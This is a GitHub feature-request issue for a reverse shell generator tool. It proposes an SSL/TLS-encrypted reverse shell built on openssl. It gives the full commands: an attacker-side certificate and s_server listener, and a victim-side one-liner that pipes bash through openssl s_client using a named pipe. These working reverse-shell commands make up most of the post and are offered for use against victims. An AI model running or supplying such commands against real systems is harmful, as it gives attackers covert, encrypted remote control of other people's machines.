rsg icon indicating copy to clipboard operation
rsg copied to clipboard

Feature request - SSL/TLS encrypted reverse shell using openssl

Open xambroz opened this issue 7 years ago • 0 comments

Hello, one of my favourite tools for reverse shell is openssl - present on many *nix platforms.

Attacker:
openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes
openssl s_server -cert server.pem -port 8080

Victim:
rm -f /tmp/p; mkfifo /tmp/p ; openssl s_client -connect localhost:8080 -quiet 2>/dev/null 0</tmp/p | bash 1> /tmp/p

xambroz avatar Jan 04 '18 23:01 xambroz